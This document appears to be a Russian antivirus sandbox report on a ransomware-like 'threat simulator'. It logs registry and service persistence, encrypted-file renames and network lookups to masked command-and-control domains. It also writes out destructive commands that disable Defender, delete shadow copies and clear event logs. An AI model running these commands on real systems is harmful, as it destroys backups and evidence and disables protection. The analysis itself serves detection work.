Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'ShikraUpdater' = 'C:\Users\Public\ShikraThreatSimulator.exe -autorun'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\shikraupdater.bat
- <SYSTEM32>\tasks\shikraupdate
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\ShikraService] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\ShikraService] 'ImagePath' = 'C:\Users\Public\ShikraThreatSimulator.exe'
Создает следующие сервисы
- 'ShikraService' C:\Users\Public\ShikraThreatSimulator.exe
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
удаляет теневые копии разделов.
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\notepad.exe
Изменяет следующие настройки браузера Windows Internet Explorer
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'ProxyEnable' = '1'
Изменения в файловой системе
Создает следующие файлы
- nul
- C:\users\public\documents\testdoc.txt
- C:\users\public\pictures\testimage.jpg
- C:\users\public\desktop\importantfile.pdf
- C:\users\public\desktop\!!! read_me_first !!!.txt
Перемещает следующие файлы
- C:\users\public\documents\testdoc.txt в C:\users\public\documents\testdoc.txt.shikra
- C:\users\public\pictures\testimage.jpg в C:\users\public\pictures\testimage.jpg.shikra
- C:\users\public\desktop\importantfile.pdf в C:\users\public\desktop\importantfile.pdf.shikra
Сетевая активность
Подключается к
- 'ht##bin.org':443
- 'x.##2.us':80
- 'o.##2.us':80
- 'oc##.###tg2.amazontrust.com':80
- 'oc##.####ca1.amazontrust.com':80
- 'oc##.###02.amazontrust.com':80
- 'ip##fo.io':443
- 'ap#.#ithub.com':443
TCP
Запросы HTTP GET
- http://x.##2.us/x.cer
- http://o.##2.us//MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D
- http://oc##.###tg2.amazontrust.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D
- http://oc##.####ca1.amazontrust.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D
- http://oc##.###02.amazontrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAvRNY%2BA4lSi3c%2BiCQh3AwU%3D
Другие
- 'ht##bin.org':443
- 'ip##fo.io':443
- 'ap#.#ithub.com':443
UDP
- DNS ASK ev####2-server.com
- DNS ASK ma####e-command.net
- DNS ASK bi#####-payment.onion
- DNS ASK ht##bin.org
- DNS ASK x.##2.us
- DNS ASK o.##2.us
- DNS ASK oc##.###tg2.amazontrust.com
- DNS ASK oc##.####ca1.amazontrust.com
- DNS ASK oc##.###02.amazontrust.com
- DNS ASK ip##fo.io
- DNS ASK ap#.#ithub.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "ShikraUpdate" /tr "C:\Users\Public\ShikraThreatSimulator.exe" /sc daily /st 09:00 /f >nul 2>&1
- '<SYSTEM32>\schtasks.exe' /create /tn "ShikraUpdate" /tr "C:\Users\Public\ShikraThreatSimulator.exe" /sc daily /st 09:00 /f
- '<SYSTEM32>\cmd.exe' /c sc create ShikraService binpath= "C:\Users\Public\ShikraThreatSimulator.exe" start= auto >nul 2>&1
- '<SYSTEM32>\sc.exe' create ShikraService binpath= "C:\Users\Public\ShikraThreatSimulator.exe" start= auto
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c wmic shadowcopy delete >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c wevtutil cl Security >nul 2>&1
- '<SYSTEM32>\wevtutil.exe' cl Security
- '<SYSTEM32>\cmd.exe' /c wevtutil cl System >nul 2>&1
- '<SYSTEM32>\wevtutil.exe' cl System
- '<SYSTEM32>\cmd.exe' /c wevtutil cl Application >nul 2>&1
- '<SYSTEM32>\wevtutil.exe' cl Application
- '<SYSTEM32>\ping.exe' -n 1 127.0.0.1 (со скрытым окном)
- '<SYSTEM32>\ipconfig.exe' /all (со скрытым окном)
- '<SYSTEM32>\tasklist.exe' /svc (со скрытым окном)
- '<SYSTEM32>\netstat.exe' -an (со скрытым окном)
- '<SYSTEM32>\systeminfo.exe' (со скрытым окном)
